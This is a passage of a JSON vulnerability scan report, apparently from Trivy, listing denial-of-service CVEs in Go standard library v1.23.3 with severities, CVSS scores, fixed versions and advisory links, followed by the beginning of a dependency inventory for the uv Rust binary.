"V3Score": 8.1 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:70641", "https://access.redhat.com/security/cve/CVE-2026-56858", "https://bugzilla.redhat.com/2515815", "https://bugzilla.redhat.com/2515820", "https://bugzilla.redhat.com/2515827", "https://bugzilla.redhat.com/2515838", "https://bugzilla.redhat.com/2515839", "https://bugzilla.redhat.com/show_bug.cgi?id=2402034", "https://bugzilla.redhat.com/show_bug.cgi?id=2515815", "https://bugzilla.redhat.com/show_bug.cgi?id=2515820", "https://bugzilla.redhat.com/show_bug.cgi?id=2515827", "https://bugzilla.redhat.com/show_bug.cgi?id=2515838", "https://bugzilla.redhat.com/show_bug.cgi?id=2515839", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-11395", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-33818", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56853", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56858", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56860", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56862", "https://errata.almalinux.org/9/ALSA-2026-70641.html", "https://errata.rockylinux.org/RLSA-2026:70641", "https://go.dev/cl/807100", "https://go.dev/issue/80435", "https://groups.google.com/g/golang-announce/c/94pEornpRlI", "https://linux.oracle.com/cve/CVE-2026-56858.html", "https://linux.oracle.com/errata/ELSA-2026-70641.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-56858", "https://pkg.go.dev/vuln/GO-2026-6091", "https://www.cve.org/CVERecord?id=CVE-2026-56858" ], "PublishedDate": "2026-08-13T22:17:22.207Z", "LastModifiedDate": "2026-09-03T16:37:52.17Z" }, { "VulnerabilityID": "CVE-2026-56859", "VendorIDs": [ "GO-2026-6088" ], "PkgID": "stdlib@v1.23.3", "PkgName": "stdlib", "PkgIdentifier": { "PURL": "pkg:golang/stdlib@v1.23.3", "UID": "4fff4bae17cf3b8e" }, "InstalledVersion": "v1.23.3", "FixedVersion": "1.25.13, 1.26.6, 1.27.0-rc.3", "Status": "fixed", "Layer": { "DiffID": "sha256:887e770f2073f93e7b359f2286428c024e34d6b958bf866c5aa4cb5b41195841" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-56859", "DataSource": { "ID": "govulndb", "Name": "The Go Vulnerability Database", "URL": "https://pkg.go.dev/vuln/" }, "Fingerprint": "sha256:15bf0557bddc4c71c1088269da31e7d242177fc6dd5672831fe04e5ad9aa7a86", "Title": "encoding/xml: golang: Go: Denial of Service via XML decoding recursion depth issue", "Description": "Previously, DecodeElement would reset the depth counter causing it to never fire; this could lead to stack exhaustion.", "Severity": "HIGH", "CweIDs": [ "CWE-770" ], "VendorSeverity": { "alma": 3, "amazon": 3, "bitnami": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "bitnami": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:69961", "https://access.redhat.com/security/cve/CVE-2026-56859", "https://bugzilla.redhat.com/2480684", "https://bugzilla.redhat.com/2508234", "https://bugzilla.redhat.com/2515815", "https://bugzilla.redhat.com/2515820", "https://bugzilla.redhat.com/2515827", "https://bugzilla.redhat.com/2515838", "https://bugzilla.redhat.com/2515839", "https://bugzilla.redhat.com/2515840", "https://bugzilla.redhat.com/show_bug.cgi?id=2480684", "https://bugzilla.redhat.com/show_bug.cgi?id=2508234", "https://bugzilla.redhat.com/show_bug.cgi?id=2515815", "https://bugzilla.redhat.com/show_bug.cgi?id=2515820", "https://bugzilla.redhat.com/show_bug.cgi?id=2515827", "https://bugzilla.redhat.com/show_bug.cgi?id=2515838", "https://bugzilla.redhat.com/show_bug.cgi?id=2515839", "https://bugzilla.redhat.com/show_bug.cgi?id=2515840", "https://bugzilla.redhat.com/show_bug.cgi?id=2518147", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-17106", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-19730", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-33818", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-39830", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56853", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56858", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56859", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56860", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56862", "https://errata.almalinux.org/9/ALSA-2026-69961.html", "https://errata.rockylinux.org/RLSA-2026:69961", "https://github.com/golang/go/issues/80481", "https://go.dev/cl/803320", "https://go.dev/issue/80481", "https://groups.google.com/g/golang-announce/c/94pEornpRlI", "https://linux.oracle.com/cve/CVE-2026-56859.html", "https://linux.oracle.com/errata/ELSA-2026-70201.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-56859", "https://pkg.go.dev/vuln/GO-2026-6088", "https://ubuntu.com/security/notices/USN-8935-1", "https://www.cve.org/CVERecord?id=CVE-2026-56859" ], "PublishedDate": "2026-08-13T22:17:22.32Z", "LastModifiedDate": "2026-09-03T16:37:52.17Z" }, { "VulnerabilityID": "CVE-2026-56860", "VendorIDs": [ "GO-2026-6218" ], "PkgID": "stdlib@v1.23.3", "PkgName": "stdlib", "PkgIdentifier": { "PURL": "pkg:golang/stdlib@v1.23.3", "UID": "4fff4bae17cf3b8e" }, "InstalledVersion": "v1.23.3", "FixedVersion": "1.25.13, 1.26.6, 1.27.0-rc.3", "Status": "fixed", "Layer": { "DiffID": "sha256:887e770f2073f93e7b359f2286428c024e34d6b958bf866c5aa4cb5b41195841" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-56860", "DataSource": { "ID": "govulndb", "Name": "The Go Vulnerability Database", "URL": "https://pkg.go.dev/vuln/" }, "Fingerprint": "sha256:b3a084f89b243d52aed7e87b9ffc84bb522a4a699924a1fba56d8646675431a5", "Title": "net/url: golang: golang net/url: Denial of Service from quadratic complexity in path resolution", "Description": "Previously, resolving relative paths containing parent directory ('..') segments performed string conversions and buffer rewrites on each step, resulting in quadratic time complexity and high memory allocation overhead. Now, path resolution operates on a byte buffer using index-based backtracking for '..' segments, eliminating the quadratic time complexity and significantly reducing memory allocations.", "Severity": "HIGH", "CweIDs": [ "CWE-407" ], "VendorSeverity": { "alma": 3, "amazon": 3, "bitnami": 2, "oracle-oval": 3, "photon": 2, "redhat": 3, "rocky": 3 }, "CVSS": { "bitnami": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 5.9 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:70641", "https://access.redhat.com/security/cve/CVE-2026-56860", "https://bugzilla.redhat.com/2515815", "https://bugzilla.redhat.com/2515820", "https://bugzilla.redhat.com/2515827", "https://bugzilla.redhat.com/2515838", "https://bugzilla.redhat.com/2515839", "https://bugzilla.redhat.com/show_bug.cgi?id=2402034", "https://bugzilla.redhat.com/show_bug.cgi?id=2515815", "https://bugzilla.redhat.com/show_bug.cgi?id=2515820", "https://bugzilla.redhat.com/show_bug.cgi?id=2515827", "https://bugzilla.redhat.com/show_bug.cgi?id=2515838", "https://bugzilla.redhat.com/show_bug.cgi?id=2515839", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-11395", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-33818", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56853", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56858", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56860", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56862", "https://errata.almalinux.org/9/ALSA-2026-70641.html", "https://errata.rockylinux.org/RLSA-2026:70641", "https://go.dev/cl/803681", "https://go.dev/issue/80494", "https://groups.google.com/g/golang-announce/c/94pEornpRlI", "https://linux.oracle.com/cve/CVE-2026-56860.html", "https://linux.oracle.com/errata/ELSA-2026-71619.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-56860", "https://pkg.go.dev/vuln/GO-2026-6218", "https://www.cve.org/CVERecord?id=CVE-2026-56860" ], "PublishedDate": "2026-08-13T22:17:22.44Z", "LastModifiedDate": "2026-09-03T16:37:52.17Z" }, { "VulnerabilityID": "CVE-2026-56862", "VendorIDs": [ "GO-2026-6090" ], "PkgID": "stdlib@v1.23.3", "PkgName": "stdlib", "PkgIdentifier": { "PURL": "pkg:golang/stdlib@v1.23.3", "UID": "4fff4bae17cf3b8e" }, "InstalledVersion": "v1.23.3", "FixedVersion": "1.25.13, 1.26.6, 1.27.0-rc.3", "Status": "fixed", "Layer": { "DiffID": "sha256:887e770f2073f93e7b359f2286428c024e34d6b958bf866c5aa4cb5b41195841" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-56862", "DataSource": { "ID": "govulndb", "Name": "The Go Vulnerability Database", "URL": "https://pkg.go.dev/vuln/" }, "Fingerprint": "sha256:52d6ffebbd8419db11b13f123fe4e245e62efbed402cddf2f28ff68c9cf550d7", "Title": "crypto/tls: golang: Golang crypto/tls: Denial of Service via indefinite KeyUpdate messages", "Description": "Handshake messages, such as KeyUpdate, are always considered as state-advancing, regardless of whether a handshake has been completed or not. As a result, a malicious client can keep sending KeyUpdate messages to force the server to keep performing key derivation operations indefinitely.", "Severity": "HIGH", "CweIDs": [ "CWE-770" ], "VendorSeverity": { "alma": 3, "amazon": 3, "bitnami": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "bitnami": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:70641", "https://access.redhat.com/security/cve/CVE-2026-56862", "https://bugzilla.redhat.com/2515815", "https://bugzilla.redhat.com/2515820", "https://bugzilla.redhat.com/2515827", "https://bugzilla.redhat.com/2515838", "https://bugzilla.redhat.com/2515839", "https://bugzilla.redhat.com/show_bug.cgi?id=2402034", "https://bugzilla.redhat.com/show_bug.cgi?id=2515815", "https://bugzilla.redhat.com/show_bug.cgi?id=2515820", "https://bugzilla.redhat.com/show_bug.cgi?id=2515827", "https://bugzilla.redhat.com/show_bug.cgi?id=2515838", "https://bugzilla.redhat.com/show_bug.cgi?id=2515839", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-11395", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-33818", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56853", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56858", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56860", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56862", "https://errata.almalinux.org/9/ALSA-2026-70641.html", "https://errata.rockylinux.org/RLSA-2026:70641", "https://github.com/golang/go/issues/80528", "https://go.dev/cl/804261", "https://go.dev/issue/80528", "https://groups.google.com/g/golang-announce/c/94pEornpRlI", "https://linux.oracle.com/cve/CVE-2026-56862.html", "https://linux.oracle.com/errata/ELSA-2026-70641.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-56862", "https://pkg.go.dev/vuln/GO-2026-6090", "https://ubuntu.com/security/notices/USN-8935-1", "https://www.cve.org/CVERecord?id=CVE-2026-56862" ], "PublishedDate": "2026-08-13T22:17:22.55Z", "LastModifiedDate": "2026-10-24T16:10:00.153Z" }, { "VulnerabilityID": "CVE-2026-78667", "VendorIDs": [ "GO-2026-6609" ], "PkgID": "stdlib@v1.23.3", "PkgName": "stdlib", "PkgIdentifier": { "PURL": "pkg:golang/stdlib@v1.23.3", "UID": "4fff4bae17cf3b8e" }, "InstalledVersion": "v1.23.3", "FixedVersion": "1.26.9, 1.27.2", "Status": "fixed", "Layer": { "DiffID": "sha256:887e770f2073f93e7b359f2286428c024e34d6b958bf866c5aa4cb5b41195841" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-78667", "DataSource": { "ID": "govulndb", "Name": "The Go Vulnerability Database", "URL": "https://pkg.go.dev/vuln/" }, "Fingerprint": "sha256:c58a9b5b2e3d5af502e7e226641294f01a4b0681ac7be340eea7d94882e14d7d", "Title": "net/http: golang: golang: Denial of Service via crafted HTTP Range headers", "Description": "When parsing a Range header containing a large number of small ranges, FileServer(FS), ServeContent, and ServeFile(FS) can consume an excessive amount of CPU.", "Severity": "HIGH", "CweIDs": [ "CWE-770" ], "VendorSeverity": { "alma": 3, "amazon": 3, "bitnami": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "bitnami": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:93617", "https://access.redhat.com/security/cve/CVE-2026-78667", "https://bugzilla.redhat.com/2548334", "https://bugzilla.redhat.com/2548336", "https://bugzilla.redhat.com/2548341", "https://bugzilla.redhat.com/2548344", "https://bugzilla.redhat.com/2556068", "https://bugzilla.redhat.com/show_bug.cgi?id=2548334", "https://bugzilla.redhat.com/show_bug.cgi?id=2548336", "https://bugzilla.redhat.com/show_bug.cgi?id=2548341", "https://bugzilla.redhat.com/show_bug.cgi?id=2548344", "https://bugzilla.redhat.com/show_bug.cgi?id=2556068", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-111943", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78667", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78669", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-94440", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-97031", "https://errata.almalinux.org/9/ALSA-2026-93617.html", "https://errata.rockylinux.org/RLSA-2026:93617", "https://github.com/golang/go/issues/81858", "https://go.dev/cl/847309", "https://go.dev/issue/81858", "https://groups.google.com/g/golang-announce/c/U2fTuyDJznI", "https://linux.oracle.com/cve/CVE-2026-78667.html", "https://linux.oracle.com/errata/ELSA-2026-95519.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-78667", "https://pkg.go.dev/vuln/GO-2026-6609", "https://ubuntu.com/security/notices/USN-8935-1", "https://www.cve.org/CVERecord?id=CVE-2026-78667", "https://www.openwall.com/lists/oss-security/2026/10/08/9" ], "PublishedDate": "2026-10-08T23:17:03.88Z", "LastModifiedDate": "2026-10-09T17:16:49.69Z" }, { "VulnerabilityID": "CVE-2026-78669", "VendorIDs": [ "GO-2026-6611" ], "PkgID": "stdlib@v1.23.3", "PkgName": "stdlib", "PkgIdentifier": { "PURL": "pkg:golang/stdlib@v1.23.3", "UID": "4fff4bae17cf3b8e" }, "InstalledVersion": "v1.23.3", "FixedVersion": "1.26.9, 1.27.2", "Status": "fixed", "Layer": { "DiffID": "sha256:887e770f2073f93e7b359f2286428c024e34d6b958bf866c5aa4cb5b41195841" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-78669", "DataSource": { "ID": "govulndb", "Name": "The Go Vulnerability Database", "URL": "https://pkg.go.dev/vuln/" }, "Fingerprint": "sha256:032228673e928cac1895342e6927238a38e7c883100574a3ff45cf58555f2bf3", "Title": "net/http: net/http/internal/http2: golang.org/x/net/http2: net/http: Denial of Service via excessive HTTP/2 SETTINGS frames", "Description": "A malicious HTTP/2 peer can cause excessive CPU consumption in the client or server by opening a large number of streams and then sending many small SETTINGS frames containing SETTINGS_INITIAL_WINDOW_SIZE values.", "Severity": "HIGH", "CweIDs": [ "CWE-405" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "bitnami": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "bitnami": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:93617", "https://access.redhat.com/security/cve/CVE-2026-78669", "https://bugzilla.redhat.com/2548334", "https://bugzilla.redhat.com/2548336", "https://bugzilla.redhat.com/2548341", "https://bugzilla.redhat.com/2548344", "https://bugzilla.redhat.com/2556068", "https://bugzilla.redhat.com/show_bug.cgi?id=2548334", "https://bugzilla.redhat.com/show_bug.cgi?id=2548336", "https://bugzilla.redhat.com/show_bug.cgi?id=2548341", "https://bugzilla.redhat.com/show_bug.cgi?id=2548344", "https://bugzilla.redhat.com/show_bug.cgi?id=2556068", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-111943", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78667", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78669", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-94440", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-97031", "https://errata.almalinux.org/9/ALSA-2026-93617.html", "https://errata.rockylinux.org/RLSA-2026:93617", "https://github.com/golang/go/issues/81742", "https://go.dev/cl/847186", "https://go.dev/cl/847308", "https://go.dev/issue/81742", "https://groups.google.com/g/golang-announce/c/U2fTuyDJznI", "https://groups.google.com/g/golang-announce/c/ZPwCyRUuGBs", "https://linux.oracle.com/cve/CVE-2026-78669.html", "https://linux.oracle.com/errata/ELSA-2026-95519.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-78669", "https://pkg.go.dev/vuln/GO-2026-6611", "https://ubuntu.com/security/notices/USN-8935-1", "https://www.cve.org/CVERecord?id=CVE-2026-78669", "https://www.openwall.com/lists/oss-security/2026/10/08/9" ], "PublishedDate": "2026-10-08T23:17:04.01Z", "LastModifiedDate": "2026-10-09T17:16:49.857Z" }, { "VulnerabilityID": "CVE-2026-97031", "VendorIDs": [ "GO-2026-6607" ], "PkgID": "stdlib@v1.23.3", "PkgName": "stdlib", "PkgIdentifier": { "PURL": "pkg:golang/stdlib@v1.23.3", "UID": "4fff4bae17cf3b8e" }, "InstalledVersion": "v1.23.3", "FixedVersion": "1.26.9, 1.27.2", "Status": "fixed", "Layer": { "DiffID": "sha256:887e770f2073f93e7b359f2286428c024e34d6b958bf866c5aa4cb5b41195841" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-97031", "DataSource": { "ID": "govulndb", "Name": "The Go Vulnerability Database", "URL": "https://pkg.go.dev/vuln/" }, "Fingerprint": "sha256:d1634c654bc5e9c797743b7c5f9ec9b36c50bb92415513d5e3802073c70d8aa0", "Title": "crypto/tls: golang: crypto/tls: Denial of Service via multiple ECH outer extension references", "Description": "Multiple ECH outer extension references are not permitted under RFC 9849; previously, a client could send a well-crafted packet that could trigger memory exhaustion in the server process by specifying multiple references. We now reject these as malformed and curb the memory amplification vector as a result.", "Severity": "HIGH", "CweIDs": [ "CWE-405" ], "VendorSeverity": { "alma": 3, "amazon": 3, "bitnami": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3 }, "CVSS": { "bitnami": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:95518", "https://access.redhat.com/security/cve/CVE-2026-97031", "https://bugzilla.redhat.com/2548336", "https://bugzilla.redhat.com/2556068", "https://bugzilla.redhat.com/show_bug.cgi?id=2548336", "https://bugzilla.redhat.com/show_bug.cgi?id=2556068", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-111943", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-97031", "https://errata.almalinux.org/9/ALSA-2026-95518.html", "https://errata.rockylinux.org/RLSA-2026:95518", "https://go.dev/cl/847312", "https://go.dev/issue/81855", "https://groups.google.com/g/golang-announce/c/U2fTuyDJznI", "https://linux.oracle.com/cve/CVE-2026-97031.html", "https://linux.oracle.com/errata/ELSA-2026-95519.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-97031", "https://pkg.go.dev/vuln/GO-2026-6607", "https://www.cve.org/CVERecord?id=CVE-2026-97031" ], "PublishedDate": "2026-10-08T23:17:06.037Z", "LastModifiedDate": "2026-10-09T16:35:35.9Z" } ] }, { "Target": "usr/local/bin/uv", "Class": "lang-pkgs", "Type": "rustbinary", "Packages": [ { "ID": "uv@0.11.25", "Name": "uv", "Identifier": { "PURL": "pkg:cargo/uv@0.11.25", "UID": "1cbcdc0197d8c25f" }, "Version": "0.11.25", "Relationship": "root", "DependsOn": [ "anstream@1.0.0", "anyhow@1.0.102", "astral-version-ranges@0.1.4", "astral_async_zip@0.0.18", "axoupdater@0.10.0", "clap@4.6.1", "console@0.16.3", "ctrlc@3.5.2", "diskus@0.9.0", "dotenvy@0.15.7", "dunce@1.0.5", "etcetera@0.11.0", "fs-err@3.3.0", "futures@0.3.32", "http@1.4.1", "ignore@0.4.26", "indexmap@2.14.0", "indicatif@0.18.4", "indoc@2.0.7", "itertools@0.14.0", "jiff@0.2.28", "miette@7.6.0", "nix@0.31.3", "open@5.3.5", "owo-colors@4.3.0", "petgraph@0.8.3", "reqwest@0.13.4", "rkyv@0.8.16", "rustc-hash@2.1.2", "serde@1.0.228", "serde_json@1.0.150", "tempfile@3.27.0", "textwrap@0.16.2", "thiserror@2.0.18", "tokio@1.52.3", "toml@1.1.2+spec-1.1.0", "toml_edit@0.25.12+spec-1.1.0", "tracing@0.1.44", "tracing-subscriber@0.3.23", "tracing-tree@0.4.1", "unicode-width@0.2.2", "url@2.5.8", "uuid@1.23.3", "uv-audit@0.0.58", "uv-auth@0.0.58", "uv-bin-install@0.0.58", "uv-build-backend@0.0.58", "uv-build-frontend@0.0.58", "uv-cache@0.0.58", "uv-cache-info@0.0.58", "uv-cache-key@0.0.58", "uv-cli@0.0.58", "uv-client@0.0.58", "uv-configuration@0.0.58", "uv-console@0.0.58", "uv-dispatch@0.0.58", "uv-distribution@0.0.58", "uv-distribution-filename@0.0.58", "uv-distribution-types@0.0.58", "uv-errors@0.0.58", "uv-extract@0.0.58", "uv-flags@0.0.58", "uv-fs@0.0.58", "uv-git@0.0.58", "uv-git-types@0.0.58", "uv-install-wheel@0.0.58", "uv-installer@0.0.58", "uv-logging@0.0.58", "uv-normalize@0.0.58", "uv-pep440@0.0.58", "uv-pep508@0.0.58", "uv-performance-memory-allocator@0.0.58", "uv-platform@0.0.58", "uv-platform-tags@0.0.58", "uv-preview@0.0.58", "uv-publish@0.0.58", "uv-pypi-types@0.0.58", "uv-python@0.0.58", "uv-redacted@0.0.58", "uv-requirements@0.0.58", "uv-requirements-txt@0.0.58", "uv-resolver@0.0.58", "uv-scripts@0.0.58", "uv-settings@0.0.58", "uv-shell@0.0.58", "uv-static@0.0.58", "uv-test@0.0.58", "uv-tool@0.0.58", "uv-torch@0.0.58", "uv-trampoline-builder@0.0.58", "uv-types@0.0.58", "uv-unix@0.0.58", "uv-version@0.11.25", "uv-virtualenv@0.0.58", "uv-warnings@0.0.58", "uv-workspace@0.0.58", "walkdir@2.5.0", "which@8.0.3" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "adler2@2.0.1", "Name": "adler2", "Identifier": { "PURL": "pkg:cargo/adler2@2.0.1", "UID": "1646dd151d54a16e" }, "Version": "2.0.1", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "aes@0.8.4", "Name": "aes", "Identifier": { "PURL": "pkg:cargo/aes@0.8.4", "UID": "3dae6b7bddff03ff" }, "Version": "0.8.4", "DependsOn": [ "cfg-if@1.0.4", "cipher@0.4.4", "cpufeatures@0.2.17" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "aho-corasick@1.1.4", "Name": "aho-corasick", "Identifier": { "PURL": "pkg:cargo/aho-corasick@1.1.4", "UID": "b99053544899e5bf" }, "Version": "1.1.4", "DependsOn": [ "memchr@2.8.2" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "allocator-api2@0.2.21", "Name": "allocator-api2", "Identifier": { "PURL": "pkg:cargo/allocator-api2@0.2.21", "UID": "ba303594bf81b72a" }, "Version": "0.2.21", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "ambient-id@0.0.11", "Name": "ambient-id", "Identifier": { "PURL": "pkg:cargo/ambient-id@0.0.11", "UID": "f533bc4371f7d57c" }, "Version": "0.0.11", "DependsOn": [ "astral-reqwest-middleware@0.5.1", "reqwest@0.13.4", "secrecy@0.10.3", "serde@1.0.228", "serde_json@1.0.150", "thiserror@2.0.18" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "anstream@1.0.0", "Name": "anstream", "Identifier": { "PURL": "pkg:cargo/anstream@1.0.0", "UID": "dd1704a57c9247bb" }, "Version": "1.0.0", "DependsOn": [ "anstyle@1.0.14", "anstyle-parse@1.0.0", "anstyle-query@1.1.5", "colorchoice@1.0.5", "is_terminal_polyfill@1.70.2", "utf8parse@0.2.2" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "anstyle@1.0.14", "Name": "anstyle", "Identifier": { "PURL": "pkg:cargo/anstyle@1.0.14", "UID": "29a20887371f606a" }, "Version": "1.0.14", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "anstyle-parse@1.0.0", "Name": "anstyle-parse", "Identifier": { "PURL": "pkg:cargo/anstyle-parse@1.0.0", "UID": "5809ad61ecedcc5" }, "Version": "1.0.0", "DependsOn": [ "utf8parse@0.2.2" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "anstyle-query@1.1.5", "Name": "anstyle-query", "Identifier": { "PURL": "pkg:cargo/anstyle-query@1.1.5", "UID": "57f1e6b89ce54ac1" }, "Version": "1.1.5", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "anyhow@1.0.102", "Name": "anyhow", "Identifier": { "PURL": "pkg:cargo/anyhow@1.0.102", "UID": "e4d46b1740bd0c11" }, "Version": "1.0.102", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "arcstr@1.2.0", "Name": "arcstr", "Identifier": { "PURL": "pkg:cargo/arcstr@1.2.0", "UID": "761b54316029d6be" }, "Version": "1.2.0", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "asn1-rs@0.7.1", "Name": "asn1-rs", "Identifier": { "PURL": "pkg:cargo/asn1-rs@0.7.1", "UID": "bb0d5cfafe4c8c66" }, "Version": "0.7.1", "DependsOn": [ "asn1-rs-impl@0.2.0", "displaydoc@0.2.5", "nom@7.1.3", "num-traits@0.2.19", "rusticata-macros@4.1.0", "thiserror@2.0.18", "time@0.3.47" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "asn1-rs-impl@0.2.0", "Name": 